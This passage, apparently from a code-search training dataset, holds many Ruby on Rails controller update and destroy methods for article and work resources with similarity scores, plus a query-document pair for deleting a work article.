status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @article.update(article_params)\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { render :show, status: :ok, location: @article }\n else\n format.html { render :edit }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @article.update(article_params)\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { render :show, status: :ok, location: @article }\n else\n format.html { render :edit }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @article.update(article_params)\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { render :show, status: :ok, location: @article }\n else\n format.html { render :edit }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @article.update(article_params)\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { render :show, status: :ok, location: @article }\n else\n format.html { render :edit }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @article.update(article_params)\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { render :show, status: :ok, location: @article }\n else\n format.html { render :edit }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @article.update(article_params)\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { render :show, status: :ok, location: @article }\n else\n format.html { render :edit }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n setup_images()\n respond_to do |format|\n if @article.update(article_params)\n format.html { redirect_to @article, notice: '記事を更新しました。' }\n format.json { render :show, status: :ok, location: @article }\n else\n format.html { render :edit }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @article = Article.find(params[:id])\n \n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @article.update(article_params)\n format.html { redirect_to [@article.issue.magazine, @article.issue, @article], notice: 'Article was successfully updated.' }\n format.json { render :show, status: :ok, location: @article }\n else\n format.html { render :edit }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @article.update(article_params)\n format.html do\n redirect_to @article, notice: 'Article was successfully updated.'\n end\n format.json { render :show, status: :ok, location: @article }\n else\n format.html { render :edit }\n format.json do\n render json: @article.errors, status: :unprocessable_entity\n end\n end\n end\n end", "def update\n respond_to do |format|\n if @journalarticle.update(journalarticle_params)\n format.html { redirect_to :back, notice: 'Journalarticle was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @journalarticle.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @work = Work.find(params[:id])\n\n respond_to do |format|\n if @work.update_attributes(params[:work])\n format.html { redirect_to action: 'index', flash: {notice: 'Work item was successfully updated.' }}\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @work.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @article.update(article_params)\n format.html { redirect_to @article, notice: \"Article was successfully updated.\" }\n format.json { render :show, status: :ok, location: @article }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @article.update(article_params)\n format.html { redirect_to @article, notice: 'Article was successfully updated.'} \n format.json { render :show, status: :ok, location: @article }\n else\n format.html { render :edit }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @article.update_attributes(article_params)\n format.html { redirect_to action: :index, notice: 'Update Success.' }\n format.json { render action: :index, status: :accepted }\n else\n format.html { render action: :edit }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @admin_article = Admin::Article.find(params[:id])\n @admin_article.format_title = @admin_article.title.gsub(/ /,\"_\").downcase\n\n respond_to do |format|\n if @admin_article.update_attributes(params[:admin_article])\n format.html { redirect_to @admin_article, notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @admin_article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @article = Article.find(params[:id])\n @partenaire = @art\n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @artwork.update(artwork_params)\n format.html { redirect_to @artwork, notice: 'Artwork was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @artwork.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @article.update(article_params)\n format.html { redirect_to(:back, :notice => 'article was successfully updated.') }\n format.json { respond_with_bip(@article) }\n else\n format.html { render :action => \"edit\" }\n format.json { respond_with_bip(@article) }\n end\n end\n end", "def update\n respond_to do |format|\n if @article.update(article_params)\n format.html { redirect_to @article, notice: '您已成功修改经验贴' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @work.update_attributes(params[:work])\n flash[:notice] = t('controller.successfully_updated', :model => t('activerecord.models.work'))\n format.html { redirect_to work_url(@work) }\n format.json { head :no_content }\n else\n prepare_options\n format.html { render :action => \"edit\" }\n format.json { render :json => @work.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @work.update(work_params)\n format.html { redirect_to @work, notice: 'Work was successfully updated.' }\n format.json { render :show, status: :ok, location: @work }\n else\n format.html { render :edit }\n format.json { render json: @work.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @work.update(work_params)\n format.html { redirect_to @work, notice: 'Work was successfully updated.' }\n format.json { render :show, status: :ok, location: @work }\n else\n format.html { render :edit }\n format.json { render json: @work.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @work.update(work_params)\n format.html { redirect_to @work, notice: 'Work was successfully updated.' }\n format.json { render :show, status: :ok, location: @work }\n else\n format.html { render :edit }\n format.json { render json: @work.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @work.update(work_params)\n format.html { redirect_to @work, notice: 'Work was successfully updated.' }\n format.json { render :show, status: :ok, location: @work }\n else\n format.html { render :edit }\n format.json { render json: @work.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @article = Article.find(params[:id])\n\n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n flash.now[:alert]= 'Error: '+ @article.errors.full_messages.join(\". \")\n format.html { render action: \"edit\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @yh_article.update(yh_article_params)\n format.html { redirect_to @yh_article, notice: 'Yh article was successfully updated.' }\n format.json { render :show, status: :ok, location: @yh_article }\n else\n format.html { render :edit }\n format.json { render json: @yh_article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @yh_article.update(yh_article_params)\n format.html { redirect_to @yh_article, notice: 'Yh article was successfully updated.' }\n format.json { render :show, status: :ok, location: @yh_article }\n else\n format.html { render :edit }\n format.json { render json: @yh_article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n authorize @article\n if @article.update(article_params)\n render status: :ok, template: 'articles/show'\n else\n render json: {errors: @article.errors.full_messages}, status: :unprocessable_entity\n end\n end", "def update\n\t@article = current_user.articles.find([:id]) \n#@article = Article.find(params[:id])\n respond_to do |format|\n if @article.update_attributes(params[:article])\nformat.html { redirect_to(@article, \"article updated succesfully\") }\n#format.html { redirect_to(@article,\n#\t:notice => t('articles.update_success')) }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @shared_article = SharedArticle.find(params[:id])\n\n respond_to do |format|\n if @shared_article.update_attributes(params[:shared_article])\n format.html { redirect_to @shared_article, notice: 'Shared article was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @shared_article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @work.update(work_params)\n format.html { redirect_to @work, notice: '修改成功!' }\n format.json { render :show, status: :ok, location: @work }\n else\n format.html { render :edit }\n format.json { render json: @work.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @article.update(article_params)\n format.html { redirect_to open_article(@article), notice: 'Article was successfully updated.' }\n format.json { render :show, status: :ok, location: @article }\n else\n format.html { render :edit }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\n respond_to do |format|\n errors = Work.update(current_user, params[:id], work_params)\n if !errors\n format.json { render json: {}, status: :ok }\n else\n format.json { render json: { error: errors }, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @article.update(update_article_params)\n format.html { redirect_to @article, notice: '記事を更新しました' }\n format.json { render :show, status: :ok, location: @article }\n else\n format.html { render :edit }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @work_item = set_work\n\n respond_to do |format|\n if @work_item.update(params.require(:work).permit(:title, :subtitle, :body))\n format.html { redirect_to works_path, notice: 'work was successfully updated.' }\n else\n format.html { render :edit }\n end\n end\n end", "def update\n @work.extra = process_extra if params[:work][:extra_keys] && params[:work][:extra_keys]!= \"\"\n respond_to do |format|\n if @work.update_attributes(params[:work].except(:extra_keys, :extra_values))\n Work.create_locations(@work) if @work.places#.changed?\n Location.destroy_unused\n format.html { redirect_to @work, notice: 'Work was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @work.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @work.update(work_params)\n process_work_contributors\n format.html { redirect_to @work, notice: 'Work was successfully updated.' }\n format.json { render :show, status: :ok, location: @work }\n else\n format.html { render :edit }\n format.json { render json: @work.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @article.update(article_params)\n format.html { redirect_to @article, notice: 'Zmodyfikowano artykuł.' }\n format.json { render :show, status: :ok, location: @article }\n else\n format.html { render :edit }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.683489", "0.66110164", "0.6573552", "0.65556955", "0.651049", "0.65005606", "0.65005606", "0.65005606", "0.65005606", "0.65005606", "0.65005606", "0.65005606", "0.65005606", "0.65005606", "0.65005606", "0.6486083", "0.64733094", "0.64401406", "0.6435243", "0.6435243", "0.6435243", "0.6435243", "0.6427581", "0.64266443", "0.64266443", "0.6424415", "0.64123094", "0.6406053", "0.6370551", "0.6369948", "0.6369811", "0.63479227", "0.62993526", "0.6296538", "0.6294109", "0.6285508", "0.6282053", "0.6274218", "0.62724966", "0.625143", "0.6248486", "0.624405", "0.62437165", "0.62410796", "0.62410796", "0.62410796", "0.62410796", "0.62410796", "0.62410796", "0.62410796", "0.62410796", "0.62410796", "0.62410796", "0.62410796", "0.62410796", "0.62410796", "0.62410796", "0.62410796", "0.62410796", "0.62410796", "0.62410796", "0.62410796", "0.62410796", "0.62410796", "0.62410796", "0.62410796", "0.62410796", "0.6236571", "0.62320894", "0.62300664", "0.6223672", "0.6223109", "0.6219023", "0.6218433", "0.6216642", "0.6209383", "0.61929095", "0.6189866", "0.6183863", "0.6174506", "0.6169478", "0.6167039", "0.6164823", "0.6164823", "0.6164823", "0.6164823", "0.61646605", "0.6159638", "0.6159638", "0.61487496", "0.6148525", "0.61465573", "0.6135498", "0.61216706", "0.6121279", "0.6114111", "0.61119807", "0.6098122", "0.6095606", "0.6094483" ]
0.71084225
0
DELETE /work_articles/1 DELETE /work_articles/1.json
def destroy @work_article.destroy respond_to do |format| format.html { redirect_to work_articles_url } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @journalarticle.destroy\n respond_to do |format|\n format.html { redirect_to journalarticles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article = Article.find(params[:id]) \n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article = Article.where(id: params[:id]).last\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_articles_url }\n format.json { head :ok }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :ok }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :ok }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :ok }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :ok }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :ok }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :ok }\n end\n end", "def destroy\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to manage_articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @story.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n auth_privilege\n\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @backend_article.destroy\n respond_to do |format|\n format.html { redirect_to backend_articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to magazine_issue_articles_url, notice: 'Article was successfully desleted.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @article = Article.internal.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_articles_path, :notice => t('articles.article_successfully_deleted') }\n format.json { head :ok }\n end\n end", "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url, notice: 'Recipe was deleted.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to dashboard_articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @yh_article.destroy\n respond_to do |format|\n format.html { redirect_to yh_articles_url, notice: 'Yh article was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @yh_article.destroy\n respond_to do |format|\n format.html { redirect_to yh_articles_url, notice: 'Yh article was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @article_datum = ArticleDatum.find(params[:id])\n @article_datum.destroy\n\n respond_to do |format|\n format.html { redirect_to article_data_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @admin_article = Admin::Article.find(params[:id])\n @admin_article.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n \n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :ok }\n end\n end", "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url, notice: 'Article was successfully deleted.' }\n format.json { head :no_content }\n end\n end", "def delete\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url, notice: 'Article was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url, notice: 'Articulo eliminado exitosamente' }\n format.json { head :no_content }\n end\n end", "def destroy\n @clothing_article = ClothingArticle.find(params[:id])\n @clothing_article.destroy\n\n respond_to do |format|\n format.html { redirect_to clothing_articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n\n #params.require(:article).permit(:title, :status)\n\n @article.destroy\n\n respond_to do |format|\n\n format.html { redirect_to articles_url, notice: \"Article was successfully destroyed.\" }\n\n format.json { head :no_content }\n\n end\n\n end", "def destroy\n @art_work.destroy\n respond_to do |format|\n format.html { redirect_to art_works_url, notice: 'Art work was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url, :notice => \"Successfully destroyed article. #{undo_link}\" }\n format.json { head :ok }\n end\n end", "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url, notice: 'Usunięto artykuł.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url, notice: 'Članek je bil uspešno izbrisan!' }\n format.json { head :no_content }\n end\n end", "def DeleteArticle id\n \n APICall(path: \"help_center/articles/#{id}.json\",method: 'DELETE')\n \n end", "def destroy\n @myarticle.destroy\n respond_to do |format|\n format.html { redirect_to myarticles_url, notice: 'Myarticle was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url, notice: 'Straipsnis sekmingai pasalintas.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @art_work.destroy\n respond_to do |format|\n format.html { redirect_to :back}\n format.json { head :no_content }\n end\n end", "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url, notice: 'Aritcle was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to root_path, notice: '記事を削除しました' }\n format.json { head :no_content }\n end\n end", "def destroy\n @article.destroy\n respond_to do |format|\n # format.html design Template\n format.html { redirect_to articles_url, notice: 'Artigo apagado.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url, notice: 'Article supprimé.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url, notice: 'Vous avez bien detruit cet article' }\n format.json { head :no_content }\n end\n end", "def destroy\n @about_article.destroy\n respond_to do |format|\n format.html { redirect_to about_articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n #@article = current_user.articles.find(params[:id])\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @work = Work.find(params[:id])\n @work.destroy\n\n respond_to do |format|\n format.html { redirect_to works_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @work = Work.find(params[:id])\n @work.destroy\n\n respond_to do |format|\n format.html { redirect_to works_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @work = Work.find(params[:id])\n @work.destroy\n\n respond_to do |format|\n format.html { redirect_to works_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @work = Work.find(params[:id])\n @work.destroy\n\n respond_to do |format|\n format.html { redirect_to works_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url, notice: 'Article was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url, notice: 'Article was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url, notice: 'Article was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url, notice: 'Article was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url, notice: 'Article was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url, notice: 'Article was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url, notice: 'Article was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url, notice: 'Article was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url, notice: 'Article was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url, notice: 'Article was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url, notice: 'Article was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url, notice: 'Article was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url, notice: 'Article was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url, notice: 'Article was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url, notice: 'Article was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url, notice: 'Article was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url, notice: 'Article was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url, notice: 'Article was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url, notice: 'Article was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url, notice: 'Article was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url, notice: 'Article was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url, notice: 'Article was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url, notice: 'Article was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url, notice: 'Article was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url, notice: 'Article was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url, notice: 'Article was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url, notice: 'Article was successfully destroyed.' }\n format.json { head :no_content }\n end\n end" ]
[ "0.7500433", "0.7470679", "0.7420912", "0.74196225", "0.74196225", "0.74196225", "0.74196225", "0.74196225", "0.74196225", "0.74196225", "0.74196225", "0.74196225", "0.74196225", "0.74196225", "0.74196225", "0.74196225", "0.74196225", "0.74196225", "0.74196225", "0.74196225", "0.74196225", "0.74196225", "0.74196225", "0.74141425", "0.7394501", "0.7394501", "0.7394501", "0.7394501", "0.7394501", "0.7394501", "0.7353266", "0.7353266", "0.73382187", "0.73355556", "0.73355556", "0.73355556", "0.73355556", "0.7324424", "0.7317443", "0.73006016", "0.7271974", "0.7255265", "0.72421163", "0.72399276", "0.7228541", "0.7228541", "0.7224525", "0.7209222", "0.71959585", "0.7195686", "0.71904516", "0.7166293", "0.7156157", "0.71509784", "0.7150686", "0.7149284", "0.7148006", "0.71479136", "0.71452934", "0.71406275", "0.7139862", "0.7138767", "0.7113555", "0.71128243", "0.71056765", "0.7104035", "0.71010715", "0.71002007", "0.7095543", "0.70949197", "0.70949197", "0.70949197", "0.70949197", "0.7089035", "0.7089035", "0.7089035", "0.7089035", "0.7089035", "0.7089035", "0.7089035", "0.7089035", "0.7089035", "0.7089035", "0.7089035", "0.7089035", "0.7089035", "0.7089035", "0.7089035", "0.7089035", "0.7089035", "0.7089035", "0.7089035", "0.7089035", "0.7089035", "0.7089035", "0.7089035", "0.7089035", "0.7089035", "0.7089035", "0.7089035" ]
0.7961522
0
Use callbacks to share common setup or constraints between actions.
def set_work_article @work_article = WorkArticle.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
